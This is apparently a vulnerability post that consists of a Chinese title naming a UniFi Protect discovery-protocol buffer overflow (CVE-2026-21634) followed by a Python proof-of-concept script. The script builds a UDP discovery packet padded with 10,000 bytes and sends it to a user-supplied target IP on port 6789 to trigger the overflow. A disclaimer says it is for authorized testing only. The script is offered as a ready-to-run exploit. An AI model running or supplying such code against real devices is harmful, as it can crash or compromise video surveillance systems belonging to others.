CVE-2026-21634: UniFi Protect Application发现协议缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-21634 PoC - UniFi Protect Application Discovery Protocol Buffer Overflow This PoC demonstrates sending a malformed discovery packet to trigger the overflow. For authorized security testing only. """ import socket import struct import sys def create_malformed_discovery_packet(): """Create a malformed discovery packet with oversized payload""" # Discovery protocol header header = b'\x01\x00' # Protocol version packet_type = b'\x01\x00' # Discovery request type # Create oversized payload to trigger buffer overflow # The discovery protocol expects limited field lengths oversized_field = b'A' * 10000 # 10KB payload (exceeds expected buffer size) # Construct the malformed packet packet = header + packet_type packet += struct.pack('>I', len(oversized_field)) # Length field packet += oversized_field return packet def send_exploit(target_ip, target_port=6789): """Send the malformed packet to target""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) payload = create_malformed_discovery_packet() try: print(f"[*] Sending malformed discovery packet to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Packet sent successfully") print(f"[*] Payload size: {len(payload)} bytes") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2026-21634-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)